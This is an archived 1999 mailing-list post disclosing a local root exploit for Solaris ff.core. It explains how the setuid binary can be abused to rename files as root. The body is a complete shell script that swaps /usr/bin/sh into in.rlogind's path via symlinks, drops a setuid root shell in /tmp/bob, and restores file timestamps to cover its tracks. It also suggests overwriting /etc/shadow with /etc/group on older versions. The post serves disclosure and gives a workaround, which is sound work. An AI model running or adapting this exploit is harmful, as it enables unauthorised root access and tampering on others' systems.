really silly ff.core exploit for Solaris

From: John McDonald (jmcdonalat_private)
Date: Thu Jan 07 1999 - 09:28:59 PST

  • Next message: Darren Reed: "Re: setuid vs. setgid (was Re: Anonymous Qmail Denial of Service)"

    Hi,
    
    At the bottom of this email is an exploit I wrote a little bit ago for
    /usr/openwin/bin/ff.core on Solaris 2.5.1, and 2.6. I have tested it on a
    few machines, with decent success. There is a security patch for ff.core,
    labeled 106222-01. I installed it on my 2.6 box, and it does *not* appear
    to fix the problem.
    
    The success of this exploit depends heavily on certain default
    characteristics of the OS.. There is a pretty good chance it won't
    work on your machine if you have changed much of the configuration and
    layout. Obviously, openwindows has to be installed. It's a really noisy
    exploit, and if someone uses it on your machine, there is a good chance
    you might notice.. Let me explain...
    
    We can use ff.core to do a rename() as root. However, there are a lot of
    restrictions on what we can get away with. Taking those into account, here
    is what I came up with:
    
    ln -fs $A /vol/rmt/diskette0
    /usr/openwin/bin/ff.core -r /vol/rmt/diskette0/$B $C /floppy/
    
    $A is the directory that contains the file we want to rename.
    
    $B is the file that we want to rename relative to $A. This can be in any
    directory under $A (it can't contain '..').
    
    $C is what we want to rename the file too. $C cannot contain '/', so it
    has to be in the $A directory.
    
    If you are interested, you can see why we have these restrictions by
    gdb'ing a copy of ffcore and disass'ing ff_rename. The 2.5.1
    binary is real straightforward.. our 3 arguments make it to ff_rename as
    %i0, %i1, and %i2. Then there is a series of sanity checks on the input, a
    call to get_vol, a call to get_newpath, and then our call to rename(). The
    2.6 binary is a bit more complex, and I haven't tried to follow that one,
    but the exploit still works fine. Anyway, it's easy to figure out the
    rules that govern our input from the 2.5.1 binary. However, this
    invalidates your license, and is an atrocious intellectual property crime,
    so don't even consider it.
    
    Ok, so following our rules from above, we can rename any file on the
    system to anything we want within the same directory. Also, we can move a
    file from any directory to a directory that is above that file in the
    tree, as long as they are on the same filesystem. ie- we can move
    something from /usr/bin to /usr, as long as /usr/bin and /usr are the same
    filesystem.
    
    So, how do we exploit this? On Solaris 2.5, it was pretty easy. I moved
    /etc/group on top of /etc/shadow, and su'ed to root. (You can back up
    /etc/shadow by moving it to /etc/shadow.bak). However, this doesn't work
    on machines running a later version of Solaris. (and some patch probably
    makes the passwd system a bit smarter). So, I struggled with it for a
    while and came up with a solution. There is easily something I missed or
    didn't think of, so this might not be the most effective way.
    
    Anyway, this exploit will attempt to move /bin/sh over in.rlogind. It does
    this by utilizing some files sitting around by default in various
    directories.
    
    This is basically what it does:
    
    rename /usr/bin/sh /usr/bin/admintool
    rename /usr/sbin/swmtool /usr/sbin/in.rlogind
    telnet localhost login and clean up
    
    This works because /usr/sbin/swmtool is a symlink to /usr/bin/admintool.
    When we rename swmtool to in.rlogind, and telnet in, inetd is going to
    exec in.rlogind, and the symlink will be resolved such that
    /usr/bin/admintool will be execed. So, if we move /usr/bin/sh to
    /usr/bin/admintool, then it will be execed by inetd, and we will have a
    root prompt waiting for us.
    
    Obviously, this is going to make tripwire or any other binary modification
    detector go nuts. Also, rlogind, sh, and admintool will be temporarily
    hosed during the exploit. It attempts to clean up everything it can, but
    if everything isn't quite right, and it renames files, but doesn't get the
    root shell, then it can't clean up. Run this at your own risk. Before
    running it, you should at least check to see if the symlinks are present,
    and that rlogind (or whatever daemon in /usr/sbin you choose to overwrite)
    is running.
    
    The workaround is simple: chmod ug-s /usr/openwin/bin/ff.core. Also, there
    is no way this exploit can work if a normal user can't write to something
    under /vol, so some chmod's will probably be effective.
    
    horizon
    
    #!/bin/sh
    
    # /usr/openwin/bin/ff.core exploit - horizon
    # tested on 2.5.1, and 2.6
    # thanks to joej, adm, and joej :>
    
    # you can use ff.core to do a rename() as root
    # files must be on same filesystem and the destination must be in a
    # directory that is a subset of the source directory
    
    # this exploit can be pretty messy. what it does is move /usr/bin/sh
    # over /usr/bin/admintool.  then it moves /usr/sbin/swmtool (which is a symlink
    # to /usr/bin/admintool) on top of /usr/sbin/in.rlogind. It's attempts to
    # clean up best it can. This has the potential of messing lots of stuff up, and
    # tripwire is not going to be particularly happy.
    
    # if you want to exploit 2.5, you can just make this move /etc/group over
    # /etc/shadow. you will probably want to move /etc/shadow to /etc/s.bak
    
    # first test if we can pull this off
    
    echo "Testing if exploit is possible..."
    
    if [ -x /usr/openwin/bin/ff.core ]
    then
            :
    else
            echo "ff.core isn't there or executable. :/"
            exit 1
    fi
    
    if [ -w /vol/rmt ]
    then
            :
    else
            echo "We can't do the symlink. :<"
            exit 1
    fi
    
    mkdir /tmp/.test42
    touch /tmp/.test42/bob
    
    rm -f /vol/rmt/diskette0
    ln -fs /tmp/.test42 /vol/rmt/diskette0
    /usr/openwin/bin/ff.core -r /vol/rmt/diskette0/bob jim /floppy/ 2>/dev/null
    
    if [ -f /tmp/.test42/jim ]
    then
            echo "Test successful. Proceeding..."
    else
            echo "Hmmm.. doesn't look like this is going to work :/"
            exit 1
    fi
    
    rm -rf /tmp/.test42
    
    # lets make some backups
    
    echo "Backing up clobbered files to /tmp/.bk"
    
    mkdir /tmp/.bk
    #save admintools times
    touch /tmp/.bk/admintool
    touch -r /usr/bin/admintool /tmp/.bk/admintool
    #save rloginds times
    touch /tmp/.bk/in.rlogind
    touch -r /usr/sbin/in.rlogind /tmp/.bk/in.rlogind
    #save a copy of /usr/bin/sh
    cp /usr/bin/sh /tmp/.bk
    touch -r /usr/bin/sh /tmp/.bk/sh
    
    echo "Doing sploit..."
    
    rm -f /vol/rmt/diskette0
    ln -fs /usr/bin /vol/rmt/diskette0
    /usr/openwin/bin/ff.core -r /vol/rmt/diskette0/admintool admintool.bak /floppy/ 2>/dev/null
    
    rm -f /vol/rmt/diskette0
    ln -fs /usr/bin /vol/rmt/diskette0
    /usr/openwin/bin/ff.core -r /vol/rmt/diskette0/sh admintool /floppy/ 2>/dev/null
    
    rm -f /vol/rmt/diskette0
    ln -fs /usr/sbin /vol/rmt/diskette0
    /usr/openwin/bin/ff.core -r /vol/rmt/diskette0/in.rlogind in.rlogind.bak /floppy/ 2>/dev/null
    
    rm -f /vol/rmt/diskette0
    ln -fs /usr/sbin /vol/rmt/diskette0
    /usr/openwin/bin/ff.core -r /vol/rmt/diskette0/swmtool in.rlogind /floppy/ 2>/dev/null
    
    echo "Done with sploit. Testing and trying to clean up now..."
    
    sleep 1
    
    (sleep 2;echo "\
    cp /bin/rksh /tmp/bob;\
    chmod 4755 /tmp/bob;\
    exit;\
    ") | telnet localhost login
    
    sleep 1
    
    if [ -f /tmp/bob ]
    then
            echo "w00p! Should have a suid root sh in /tmp/bob"
            echo "btw, its rksh because solaris is silly"
            echo "Let me try to clean up my mess..."
    else
            echo "hrmmph.. didnt work. hope shits not screwed up bad :/"
            exit 1
    fi
    
    echo "
    cp /tmp/.bk/sh /usr/bin/sh
    chmod 555 /usr/bin/sh
    chown bin /usr/bin/sh
    chgrp root /usr/bin/sh
    touch -r /tmp/.bk/sh /usr/bin/sh
    mv /usr/bin/admintool.bak /usr/bin/admintool
    touch -r /tmp/.bk/admintool /usr/bin/admintool
    rm -f /usr/sbin/swmtool
    ln -s /usr/bin/admintool /usr/sbin/swmtool
    touch -r /usr/bin/admintool /usr/sbin/swmtool
    rm -f /usr/sbin/in.rlogind
    mv /usr/sbin/in.rlogind.bak /usr/sbin/in.rlogind
    touch -r /tmp/.bk/in.rlogind /usr/sbin/in.rlogind
    rm -rf /tmp/.bk
    " | /tmp/bob
    
    echo "everything should be cool.. i think :>"
    /tmp/bob
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:27:58 PDT